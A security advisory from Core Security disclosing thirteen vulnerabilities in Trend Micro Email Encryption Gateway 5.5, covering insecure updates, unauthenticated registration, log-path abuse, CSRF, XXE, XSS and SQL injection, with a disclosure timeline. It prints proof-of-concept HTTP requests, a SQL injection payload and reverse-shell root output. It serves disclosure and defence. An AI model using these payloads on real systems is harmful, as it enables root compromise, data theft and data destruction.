Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. *Vulnerability Description*
Trend Micro's website states that:[1]
Encryption for Email Gateway is a Linux-based software solution providing
the ability to perform the encryption and decryption of email at the
corporate gateway, regardless of the email client, and the platform from
which it originated. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs. This enables easy
integration with other email server-based products, be them content
scanners, mail servers, or archiving solutions."
Multiple vulnerabilities were found in the Trend Micro Email Encryption
Gateway web console that would allow a remote unauthenticated attacker
to gain command execution as root.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. *Technical Description / Proof of Concept Code*
Trend Micro Email Encryption Gateway includes a web console to perform
administrative tasks. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.